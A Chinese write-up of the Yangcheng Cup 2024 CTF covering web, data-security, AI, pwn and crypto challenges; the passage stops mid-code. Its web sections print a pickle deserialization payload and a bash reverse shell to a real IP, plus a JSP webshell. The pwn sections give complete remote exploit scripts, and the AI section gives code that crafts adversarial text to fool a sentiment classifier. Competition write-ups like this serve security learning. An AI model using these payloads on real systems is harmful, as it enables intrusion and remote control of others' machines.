羊城杯2024WP

news/2024/12/22 0:55:28/文章来源:https://www.cnblogs.com/backlion/p/18446695

羊城杯-2024

web

web2

进题信息搜集一下,dirsearch发现了login路由可访问,先随便点一下,发现了一个文件读取:

http://139.155.126.78:30148/lyrics?lyrics=Rain.txt

我尝试了一下:

http://139.155.126.78:30148/lyrics?lyrics=../../../../../../../../etc/passwd

发现可以读取:

本以为是任意文件读取,但是没有这么简单。
所以先尝试一下读取源码,用那个/static/style.css进行尝试:


发现读取文件的目录是在/var/www/html/XXX/这个目录下的,那么尝试一下读取app.py:


找到源码了。那么接下来就好办了,源码附上:

import os
import randomfrom config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickleapp = Flask(__name__)
app.secret_key = random.randbytes(16)class UserData:def __init__(self, username):self.username = usernamedef Waf(data):blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']valid = Falsefor word in blacklist:if word.lower() in data.lower():valid = Truebreakreturn valid@app.route("/", methods=['GET'])
def index():return render_template('index.html')@app.route("/lyrics", methods=['GET'])
def lyrics():resp = make_response()resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'query = request.args.get("lyrics")path = os.path.join(os.getcwd() + "/lyrics", query)try:with open(path) as f:res = f.read()except Exception as e:return "No lyrics found"return res@app.route("/login", methods=['POST', 'GET'])
def login():if request.method == 'POST':username = request.form["username"]user = UserData(username)res = {"username": user.username}return set_cookie("user", res, secret=secret_code)return render_template('login.html')@app.route("/board", methods=['GET'])
def board():invalid = cookie_check("user", secret=secret_code)if invalid:return "Nope, invalid code get out!"data = get_cookie("user", secret=secret_code)if isinstance(data, bytes):a = pickle.loads(data)data = str(data, encoding="utf-8")if "username" not in data:return render_template('user.html', name="guest")if data["username"] == "admin":return render_template('admin.html', name=data["username"])if data["username"] != "admin":return render_template('user.html', name=data["username"])if __name__ == "__main__":os.chdir(os.path.dirname(__file__))app.run(host="0.0.0.0", port=8080)

放到pycharm里面,发现了两个不存在的库,那么只能是调用当前文件夹里面的.py结尾文件,一个是cookie,一个是config.secret_key。

而python里的调用时用.代替文件夹的,所以要找的是../cookie.py../config/secret_key.py

第一个是cookie的加密方式,第二个是cookie的一个签名密钥。

然后可以看到board里面是用到了pickle.loads,并且wafs里面有一个R字。说明打pickle反序列化的非R方向就行了。

想法:
直接用非R方向pickle序列化脚本来打,然后用cookie的加密方法和密钥进行签名,拿去board里面改cookie直接反弹shell就能出了。

先去把cookie.py读取:


源码:

import base64
import hashlib
import hmac
import picklefrom flask import make_response, requestunicode = str
basestring = str# Quoted from python bottle template, thanks :Ddef cookie_encode(data, key):msg = base64.b64encode(pickle.dumps(data, -1))sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())return tob('!') + sig + tob('?') + msgdef cookie_decode(data, key):data = tob(data)if cookie_is_encoded(data):sig, msg = data.split(tob('?'), 1)if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):return pickle.loads(base64.b64decode(msg))return Nonedef waf(data):blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']valid = Falsefor word in blacklist:if word in data:valid = True# print(word)breakreturn validdef cookie_check(key, secret=None):a = request.cookies.get(key)data = tob(request.cookies.get(key))if data:if cookie_is_encoded(data):sig, msg = data.split(tob('?'), 1)if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):res = base64.b64decode(msg)if waf(res):return Trueelse:return Falsereturn Trueelse:return Falsedef tob(s, enc='utf8'):return s.encode(enc) if isinstance(s, unicode) else bytes(s)def get_cookie(key, default=None, secret=None):value = request.cookies.get(key)if secret and value:dec = cookie_decode(value, secret)return dec[1] if dec and dec[0] == key else defaultreturn value or defaultdef cookie_is_encoded(data):return bool(data.startswith(tob('!')) and tob('?') in data)def _lscmp(a, b):return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)def set_cookie(name, value, secret=None, **options):if secret:value = touni(cookie_encode((name, value), secret))resp = make_response("success")resp.set_cookie("user", value, max_age=3600)return respelif not isinstance(value, basestring):raise TypeError('Secret key missing for non-string Cookie.')if len(value) > 4096:raise ValueError('Cookie value to long.')def touni(s, enc='utf8', err='strict'):return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

这里面需要用到的就是cookie的加密过程,就是cookie_encode这个函数。

然后我们去读一下secret_key:


然后直接把脚本其他东西删了,用它的secret_code和cookie_encrypt进行加密就可以了,脚本附上:

import base64
import hashlib
import hmac
import pickle
from flask import make_response, requestfrom flask import Flask, make_responseapp = Flask(__name__)unicode = str
basestring = str  # Quoted from python bottle template, thanks :Ddef cookie_encode(data, key):msg = base64.b64encode(data)sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())return tob('!') + sig + tob('?') + msgdef waf(data):blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']valid = Falsefor word in blacklist:if word in data:valid = True# print(word)breakreturn valid
def tob(s, enc='utf8'):return s.encode(enc) if isinstance(s, unicode) else bytes(s)if __name__ == "__main__":res=b'''(S'bash -c 'sh -i >& /dev/tcp/101.37.149.223/2333 0>&1''\nios\nsystem\n.'''secret_code = "EnjoyThePlayTime123456"cookie_value = cookie_encode(res, key=secret_code)print(cookie_value)

运行获得:

然后我们复制到/board路由的cookie里面,并且服务器监听2333端口,直接弹上shell了:


根目录下的readflag直接执行,获得flag。

web3

进入之后访问/myapp。然后去访问/read进行文件的读取,网上找到一个文章:

https://www.cnblogs.com/Junglezt/p/18122284

可以发现tomcat许多的/conf/tomcat-users.xml是不会修改的,那么password就在里面。

然后找到之后,进入login进行登录:
登录之后发现可以进行upload的操作,然后这里发现了一个点:


如果输入了web.xml,就一定会被ban掉,而文件上传是没有任何过滤的。

既然只能用xml这样的配置文件,那么能不能把配置文件改了,然后直接将xml识别为jsp的一个xml的配置文件,并传入1.xml就可以了:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"><servlet><servlet-name>exec</servlet-name><jsp-file>/WEB-INF/1.xml</jsp-file><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>exec</servlet-name><url-pattern>/exec</url-pattern></servlet-mapping>
</web-app>

然后我们尝试传入1.xml,看看能不能识别为jsp文件,传入的是一句话木马:

<%out.println("Hello");Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

读取用绝对路径读取,然后绝对路径在那个/env路由里面有。并且可以问chat得到。然后发现访问成功之后,我们去访问配置文件定义的/exec路由,并传入cmd参数,随便传一个,看看能不能回显hello就可以了:


可以看到成功回显,说明jsp木马传入,我们直接用jsp反弹shell来打:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzcuMTQ5LjIyMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}

其中base64加密内容为:

bash -i >& /dev/tcp/101.37.149.223/2333 0>&1

然后我们监听2333端口,看看能不能弹shell:


成功弹上了。然后就得到了flag。

数据安全

数据安全1

给了个这样的person_data,看示例和题目可知,需要把8项正确排序,没什么好说的,一个表格的直接读取一点一点if过去就好了,(脚本写的很普通)脚本附上:

import csvdef classify_data(data,k):if not isinstance(data, str):return Noneif data.isdigit() and 1 <= int(data) <= 10000:return 0if data in ['男', '女']:return 4if ord(data[0]) in range(0x4e00, 0x9fff) or ord(data[0]) in range(0x3400, 0x4dbf) or ord(data[0]) in range(0x20000, 0x2a6df) or False:  # 如果没有其他条件了,这里用False,但实际上是多余的return 3if len(data) == 32:return 2if data.isdigit() and len(data) == 8:return 5if data[6:14] in k:return 6prefixes = ('734', '735', '736', '737', '738', '739', '747', '748', '750', '751', '752', '757', '758', '759', '772','778', '782', '783', '784', '787', '788', '795', '798', '730', '731', '732', '740', '745', '746', '755','756', '766', '767', '771', '775', '776', '785', '786', '796', '733', '749', '753', '773', '774', '777','780', '781', '789', '790', '791', '793', '799')if data.startswith(prefixes):return 7else:return 1# 假设CSV文件的路径是'data.csv'
csv_file_path = 'person_data.csv'
new=[]
rows=[]
# 打开CSV文件
with open(csv_file_path, mode='r', encoding='utf-8') as file:# 创建一个csv.reader对象来读取文件csv_reader = csv.reader(file)# 遍历CSV文件的每一行for row_number, row in enumerate(csv_reader, start=1):if row==['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码']:rows.append(row)continuenew = [0, 0, 0, 0, 0, 0, 0, 0]for i in row:new[classify_data(i,row)]=irows.append(new)
with open("person_data2.csv", mode='w', newline='', encoding='utf-8') as file:csv_writer = csv.writer(file)csv_writer.writerows(rows)

这些电话号码检测在题目示例里面给了。然后直接写入新的csv文件,然后直接提交就行了。

数据安全2

(这题成功拿下100.00%的相同率)

先用自带的tshark和python的pyshark模块进行wireshark文件的内容的读取。

之前尝试了一下用wireshark自带的HTTP包导出,只能导出500条数据,总共有8000条数据,所以只能用python来跑。

这里直接附上脚本,这个获取大括号里面的内容就是所有需要的信息:username啥的:

import pyshark
import jsoncap = pyshark.FileCapture(input_file='data.pcapng', tshark_path='D:\\Wireshark\\tshark.exe',use_json=True,include_raw=True)
file_path = 'data.pcapng'
json_data_list = []for packet in cap:print(packet)try:raw_packet = packet.get_raw_packet()json_start = raw_packet.index(b'{"')  # 查找 JSON 数据的起始位置json_data = raw_packet[json_start:]  # 提取 JSON 数据print(json_data)  # 调试输出 JSON 数据json_data_list.append(json_data.decode('utf-8'))  # 存储 JSON 数据到列表中except Exception as e:print(f"异常: {e}")# 将提取的 JSON 数据保存到 JSON 文件中
with open('data.json', 'w', encoding='utf-8') as f:json.dump(json_data_list, f, ensure_ascii=False, indent=4)

然后我们直接拿到了data.json文件。这里面有8000条数据,都是需要的,然后我们就用判断直接判断错误的内容。

这里又是附上屎山代码:

import csv
import jsonxishu=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
jiaoyan=["1","0","X","9","8","7","6","5","4","3","2"]
alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
digit="0123456789"
dot=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
phone=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]def check(data):for i in dot:if i in data[0] or i in data[1] or i in data[2] or i in data[3] or i in data[4] or i in data[5]:return 0for i in data[1]:if i in digit or i in alpha:return 0if data[2]!="男" and data[2]!="女":return 0if data[3] not in data[4]:return 0if (data[2]=="男" and int(data[4][-2])%2==0) or (data[2]=="女" and int(data[4][-2])%2==1):return 0sum=0for i in range(len(data[4])-1):sum += (int(data[4][i])*xishu[i])if jiaoyan[sum%11]!=data[4][-1]:return 0if int(data[5][:3]) not in phone:return 0return 1# 读取 JSON 文件
with open('data.json', 'r', encoding='utf-8') as f:data_list = json.load(f)# 处理数据
new_data = []
for item in data_list:# 将字典转换为列表item=json.loads(item)data = [item.get('username', ''), item.get('name', ''), item.get('sex', ''), item.get('birth', ''), item.get('idcard', ''), item.get('phone', '')]print(data)  # 打印数据以检查转换结果if len(data) == 6:if not check(data):new_data.append(data)# 将结果写入 CSV 文件
with open('person_data2.csv', mode='w', newline='', encoding='utf-8') as file:csv_writer = csv.writer(file)# 写入 CSV 文件的表头csv_writer.writerow(['username', 'name', 'sex', 'birth', 'idcard', 'phone'])# 写入数据csv_writer.writerows(new_data)print("检查结果已保存到 'person_data2.csv' 文件中。")

前面那些东西都是题目给的,然后这么跑出来之后,获取了一个person_data2.csv文件。然后直接提交,这里也是拿下了100%的相同率。

数据安全3

给的附件是几个log,就是几个日志文件。其中我们需要做的就是把error.log的文件中的相关数据提取出来。

这里有一个细节:

在输入了所有内容信息之后,还会有一个判断,说是用户名不存在或者是输入密码:。如果有密码我们就要把密码拿下来,然后再切片、截取到题目所需要的位置,如果没有就正常删除,这里又写了一个屎山代码,直接附上了:

import csv
import urllib.parse
import hashlibxishu=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
jiaoyan=["1","0","X","9","8","7","6","5","4","3","2"]
alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
digit="0123456789"
dot=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
phone=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]def md5_encrypt(input_string):# 创建一个md5 hash对象md5_hash = hashlib.md5()# 更新hash对象以字符串值(需要先编码为字节串)md5_hash.update(input_string.encode('utf-8'))# 获取十六进制数格式的hash值,并转换为小写return md5_hash.hexdigest()
def check(data):for i in dot:if i in data[0] or i in data[1] or i in data[2] or i in data[3] or i in data[4]:return 0for i in data[2]:if i in digit or i in alpha:return 0sum=0for i in range(len(data[3])-1):sum += (int(data[3][i])*xishu[i])if jiaoyan[sum%11]!=data[3][-1]:return 0if int(data[4][:3]) not in phone:return 0return 1def read_log_until_next_bracket(filepath):new=[['username','password','name','idcard','phone']]"""读取指定的日志文件,在遇到包含'username'的行时,继续读取直到遇到下一个'['符号或文件结束。"""try:with open(filepath, 'r', encoding='utf-8') as file:current_block = ""  # 用于存储从'username'开始到'['之前的所有内容reading = False  # 标记是否开始读取块for line in file:if "username" in line:# 如果当前行包含'username',则开始读取块reading = Truecurrent_block += line  # 添加当前行到块中elif "\\xe6\\x82\\xa8\\xe8\\xbe\\x93\\xe5\\x85\\xa5\\xe7\\x9a\\x84\\xe7\\x94" in line:current_block = ""reading = Falseelif reading:# 如果已经开始读取块,则继续添加行到块中if "\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba" in line:# 如果当前行包含'[',则停止读取块并打印# 注意:这里只打印到'['之前的部分(如果需要)# 或者你可以选择保留整个块直到'['idx = line.find("\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba")if idx != -1:  # 确保'['确实存在current_block += linetmp=(current_block.strip()[143:])  # 打印并去除首尾空白edx = linetmp=(tmp.split('&'))tmp[3]=(tmp[3].split('\n'))tmp.append(tmp[3])tmp[3]=tmp[4][0]tmp[4]=tmp[4][-1][-30:][:-2]tmp[4]=tmp[4].split(": ")[1]tmp.append(tmp[4])tmp[4]=tmp[3]tmp[3]=tmp[2]tmp[2]=tmp[1]tmp[1]=tmp[5]tmp.pop()tmp[0]=urllib.parse.unquote(tmp[0][9:])tmp[2] = urllib.parse.unquote(tmp[2][5:])tmp[3] = urllib.parse.unquote(tmp[3][7:])tmp[4] = urllib.parse.unquote(tmp[4][6:])if not check(tmp):current_block = ""tmp=[]reading = Falsecontinueif len(tmp[0])==1:passelif len(tmp[0])==2:tmp[0]=tmp[0][0]+"*"else:tmp[0]=tmp[0][0]+(len(tmp[0])-2)*"*"+tmp[0][-1]tmp[1]=md5_encrypt(tmp[1])if len(tmp[2])==2:tmp[2]=tmp[2][0]+"*"else:tmp[2]=tmp[2][0] + (len(tmp[2])-2)*"*"+tmp[2][-1]tmp[3]="******"+tmp[3][6:10]+"********"tmp[4]=tmp[4][:3]+"****"+tmp[4][-4:]new.append(tmp)current_block = ""  # 重置块reading = False  # 停止读取else:current_block += line  # 否则,继续添加整行到块中print(new)with open("person_data2.csv", mode='w', newline='', encoding='utf-8') as file:csv_writer = csv.writer(file)csv_writer.writerows(new)except FileNotFoundError:print(f"文件 {filepath} 未找到。")# 调用函数,传入日志文件路径read_log_until_next_bracket('error.log')

写了点注释,大体意思就是将他们都用正常的方式排序完之后,用题目给的pdf的判断方法进行判断,从而将他们变成题目所需的样子,然后再导出到一个新的表格中直接提交就行了。

AI

AI 1

AI这个第一题是一个非常常见的一个AI,就是用不同构造的字符串或者语句,让AI回显出现紊乱。

那么这里有一些方法:

修改注入语句,但是这样就会导致重复率低于75%,所以不可取。

直接用chat进行语句的修改,并且尝试多次注入,这样用更智能的ai来绕过ai也是可行的。不过这个方法不仅麻烦,而且成功率如果想要到达90%需要大量的时间成本。

我用的是最后一种方法,也是比较流行的一个方法,就是错别字注入,或者说是故意改错一些进行绕过。或者使用同义字进行绕过。

题目的另一个附件是这个文件夹,将此文件夹和写出的py文件和题目附件放在一个位置。

这里脚本让GPT写了又改,最后差不多是这样:

import pandas as pd
import nltk
from nltk.corpus import wordnet
from transformers import AutoTokenizer, AutoModelForSequenceClassification
import torch
from sklearn.metrics.pairwise import cosine_similarity# 设置设备(CPU 或 GPU)
device_type = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"当前使用的设备: {device_type}")# 加载预训练模型和tokenizer
text_tokenizer = AutoTokenizer.from_pretrained("Sentiment_classification_model")
classification_model = AutoModelForSequenceClassification.from_pretrained("Sentiment_classification_model"
).to(device_type)def get_related_words(word):"""生成单词的同义词列表"""related_words = set()for synset in wordnet.synsets(word):for lemma in synset.lemmas():related_words.add(lemma.name().replace("_", " "))return list(related_words)def make_typo(word):"""在单词中引入拼写错误"""if len(word) > 3:index = 1word = word[:index] + word[index + 1] + word[index] + word[index + 2:]return worddef modify_text(input_text):"""对文本进行词汇替换和拼写错误引入"""token_list = nltk.word_tokenize(input_text)pos_tags = nltk.pos_tag(token_list)modified_texts = []for idx, (token, tag) in enumerate(pos_tags):if tag.startswith("NN") or tag.startswith("JJ") or tag.startswith("RB"):related_words = get_related_words(token)for synonym in related_words:temp_tokens = token_list[:idx] + [synonym] + token_list[idx + 1:]modified_texts.append(" ".join(temp_tokens))typo_variant = make_typo(token)typo_tokens = token_list[:idx] + [typo_variant] + token_list[idx + 1:]modified_texts.append(" ".join(typo_tokens))return modified_textsdef calculate_similarity(sentence1, sentence2, model, tokenizer):"""计算两个文本之间的余弦相似度"""model.eval()encoded_text1 = tokenizer(sentence1, return_tensors="pt", padding=True, truncation=True, max_length=512).to(device_type)encoded_text2 = tokenizer(sentence2, return_tensors="pt", padding=True, truncation=True, max_length=512).to(device_type)with torch.no_grad():outputs_text1 = model(**encoded_text1)hidden_state1 = outputs_text1.logits.mean(dim=1)outputs_text2 = model(**encoded_text2)hidden_state2 = outputs_text2.logits.mean(dim=1)sim_score = cosine_similarity(hidden_state1.cpu().numpy(), hidden_state2.cpu().numpy())[0][0]return sim_scoredef generate_adversarial_text(source_text, true_label, model, tokenizer, sim_threshold=0.75, attempts=5
):"""生成具有攻击性的文本"""current_text = source_textfor _ in range(attempts):candidate_texts = modify_text(current_text)if not candidate_texts:return current_textfor candidate in candidate_texts:sim_score = calculate_similarity(source_text, candidate, model, tokenizer)if sim_score >= sim_threshold:input_data = tokenizer(candidate, return_tensors="pt").to(device_type)output_prediction = model(**input_data)[0]pred_label = torch.argmax(output_prediction, dim=1).item()if pred_label != true_label:return candidatecurrent_text = candidate_texts[0]return current_text# 读取CSV文件
data = pd.read_csv("original_text.csv")# 保存结果
results_data = []# 生成对抗性文本
for i, row in data.iterrows():original_sentence = row["text"]actual_label = row["original_label"]adversarial_sentence = generate_adversarial_text(original_sentence,actual_label,classification_model,text_tokenizer,sim_threshold=0.75,attempts=5,)results_data.append({"id": row["id"], "attacked_text": adversarial_sentence})# 将结果转换为DataFrame
result_df = pd.DataFrame(results_data)# 保存为CSV文件
result_df.to_csv("attacked_text.csv", index=False)# 输出部分结果,验证输出格式
print(result_df.head())

然后跑出来的东西拿去交,发现通过率高达87%:

感受到来自出题人的温暖,说好90%。结果87%的时候flag就被爆出来了。

pwn

pstack

标准的栈迁移,利用read完成三次栈迁移就可以,唯一要注意的就是bss段的地址,不要取开头,这样泄露libc的时候会卡死不动

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
libc=ELF('libc.so.6')
#io=process('./pwn')
io=remote('139.155.126.78',31425)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi=0x400773
read=0x4006C4
leave=0x4006DB
bss=0x601500
vuln=0x4006B0
rbp=0x4005b0
ret=0x400506
io.recv()
#gdb.attach(io,'b main')
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
io.send(payload)
payload=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x300+0x30)+p64(read)+p64(bss-8)+p64(leave)
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload=b'a'*8+p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)+p64(bss+0x300)+p64(leave)
io.sendline(payload)
io.interactive()

httpd

程序会先跳到/home/ctf/html的路径下

我们的haystack是自己输入的,这里的popen函数就比较危险,可以执行haystack中指定的命令

所以思路就很明确,因为flag在根目录,所以我们先利用上面的漏洞,把flag复制到/home/ctf/html下,然后第二次直接读就行

from pwn import *
io = remote('139.155.126.78',32514)
payload=b'get /cp%20/flag%20/home/ctf/html HTTP/1.0'
io.sendline(payload)
io.sendline('Host: '+'127.0.0.1')
io.sendline('Content-Length: '+ '80')
io.close()
io = remote('139.155.126.78',32514)
haystack='/flag'
payload=b'get /flag HTTP/1.0'
io.sendline(payload)
io.sendline('Host: '+'127.0.0.1')
io.sendline('Content-Length: '+ '80')
io.interactive()


logger

不说了,我就是天才,现场学了一下异常处理

1号里面有一个数组溢出,可以修改到src

重点其实在第二个选项

这个异常处理没有catch,而且题目没有pop rbp ret,所以没办法打orw,但是注意到,其实是有system函数的,而且题目有三个异常捕捉,除了这个都是有catch的,而且就在这里,调用了system函数

我们只需要把返回地址改成这个catch,scr段会被当成system的参数,通过1把src改掉就行(前面不能随意填充垃圾数据,比如都是a,得放一堆地址,不然最后的参数里面也有一堆a)

from pwn import *
#io=process('./pwn')
io=remote('139.155.126.78',38895)
#gdb.attach(io,'b *0x4018E0')
def trace(content):io.recvuntil(b'Your chocie:')io.sendline(str(1))io.recvuntil(b'You can record log details here:')io.sendline(content)io.recvuntil(b'Do you need to check the records?')io.sendline(b'N')def warn(content):io.recvuntil(b'Your chocie:')io.sendline(str(2))io.recvuntil(b'[!] Type your message here plz')io.send(content)leave=0x4015a9
ret=0x40101a
bss=0x404420
src=0x4040A0
input=0x404020
catch=0x401BC7
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'a'*0x10)
trace(b'/bin/sh\x00')
io.recv()
warn(p64(bss-8)*15+p64(catch))
#warn(p64(bss-8)*15+p64(catch))
io.interactive()

拿下!

Crypto

一、 TheoremPlus

在威尔逊定理中,当e为素数时,结果为-1,当e不为素数时,结果0,除了4和2。在求解一个素数下有多少个小素数时,可以使用埃氏筛法。

import gmpy2
import libnumn = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566'''x = gmpy2.iroot(n,2)[0]
while n%x !=0 :
    x -= 1
p = x
q = n//p
print(q)
print(p)'''def decode_e(e):if e > 1:mul = 1for i in range(1, e):mul *= iif e - mul % e - 1 == 0:mulmod = mul % e - eelse:mulmod = mul % ereturn mulmod + decode_e(e - 1)else:return 0q = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557219
p = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557429
e = 36421874 - 1  #去掉703440151,1phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
print(libnum.n2s(int(m)))'''
def couPrime(N):
    primeList = [True]*N
    for i in range(2,N):
        if(primeList[i]):
            for j in range(2*i,N,i):
                primeList[j]=False
    cou = primeList.count(True)-2
    return cou
print(couPrime(703440151))
#36421874
'''
#DASCTF{Ot2N63D_n8L6kJt_f40V61m_zS1O8L7}

二、TH_Curve

首先利用已知的点求出参数d,将Twisted Hessian curves转化为weierstrass曲线,即写出参数a0,a1,a2,a3,a4,a6,并且将已知点也转化。利用Pohlig-Hellman算法计算离散对数。

import gmpy2
import libnump = 10297529403524403127640670200603184608844065065952536889
x1 = 8879931045098533901543131944615620692971716807984752065
y1 = 4106024239449946134453673742202491320614591684229547464
d = (2*x1**3+y1**3+1)*gmpy2.invert(x1*y1,p) % p
a = 2x2 = 6784278627340957151283066249316785477882888190582875173
y2 = 6078603759966354224428976716568980670702790051879661797a0 = 1
a1 = - 3 *(d/3) / (a - (d/3) *(d/3) *(d/3))
a3 = - 9 / ((a - (d/3)* (d/3) *(d/3)) *(a - (d/3) *(d/3)* (d/3)))
a2 = - 9 *(d/3) *(d/3) / ((a - (d/3) *(d/3) *(d/3)) * (a - (d/3)* (d/3)* (d/3)))
a4 = - 27 *(d/3) / ((a - (d/3)* (d/3)* (d/3))* (a - (d/3) *(d/3) *(d/3)) *(a - (d/3)* (d/3)* (d/3)))
a6 = - 27 / ((a - (d/3) *(d/3)* (d/3)) *(a - (d/3) *(d/3) *(d/3))* (a - (d/3) *(d/3)* (d/3)) *(a - (d/3)* (d/3)* (d/3)))#print(d)
#print(a0,a1,a2,a4,a6)E = EllipticCurve(GF(p), [a1, a2, a3, a4, a6])#u = (-3 / (a - d* d *d/27)) *x / (d *x/3 - (-y) + 1)
#v = (-9 / ((a - d *d *d/27) *(a - d* d *d/27))) (-y) / (d* x/3 - (-y) + 1)gx =(-3 / (a - d* d *d/27)) *x1 / (d *x1/3 - (-y1) + 1)
gy =(-9 / ((a - d *d *d/27) *(a - d* d *d/27))) *(-y1) / (d* x1/3 - (-y1) + 1)
px =(-3 / (a - d* d *d/27)) *x2 / (d *x2/3 - (-y2) + 1)
py =(-9 / ((a - d *d *d/27) *(a - d* d *d/27))) *(-y2) / (d* x2/3 - (-y2) + 1)G = E(gx,gy)
Q = E(px,py)P,Q = G,Q
factors, exponents = zip(*factor(E.order()))
print(factors, exponents)
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][3:-1]
print(primes)
dlogs = []
for fac in primes:t = int(int(P.order()) // int(fac))dlog = discrete_log(t*Q,t*P,operation="+")dlogs += [dlog]print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime orderl = crt(dlogs,primes)
print(libnum.n2s(int(l)))
#b'e@sy_cuRvL_c0o!'

三、RSA_loss

newm = pow(c, d, n)可以知道m>n,与常规的rsa不同。flag = newm + k * n,计算出k的范围,爆破m的长度。

import libnum
import gmpy2e = 65537
c = 356435791209686635044593929546092486613929446770721636839137
p = 898278915648707936019913202333
q = 814090608763917394723955024893
newm = libnum.s2n(b'X\xee\x1ey\x88\x01dX\xf6i\x91\x80h\xf4\x1f!\xa7"\x0c\x9a\x06\xc8\x06\x81\x15')n = p * q
d = gmpy2.invert(e, (p - 1) * (q - 1))def decrypt_rsa(c, n, length):prefix = b"DASCTF{"for l in range(length):# 计算两个边界值 f1 和 f2f1 = libnum.s2n(prefix + b"\xff" * l + b"}") // nf2 = libnum.s2n(prefix + b"\x00" * l + b"}") // nk = f2m = c + k * nwhile k < f1:flag = libnum.n2s(m)valid_flag = all(48 <= byte <= 57 or 65 <= byte <= 90 or 97 <= byte <= 122 or byte in {95, 123, 125} for byte in flag)if valid_flag:return flag, k# 如果 flag 无效,尝试下一个可能的值if m % 256 == ord('}'):m += (256 * n)k += 256else:m += nk += 1return None, None
flag, k = decrypt_rsa(newm, n, 36)print(flag)
#b'DASCTF{o0p5_m3ssaGe_to0_b1g_nv93nd0}'

四、BabyCurve

先尝试爆破b和c,利用Pohlig-Hellman算法计算离散对数,之后 就是常规的AES中的cbc加密。

from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
import binascii
import libnum
import hashlib
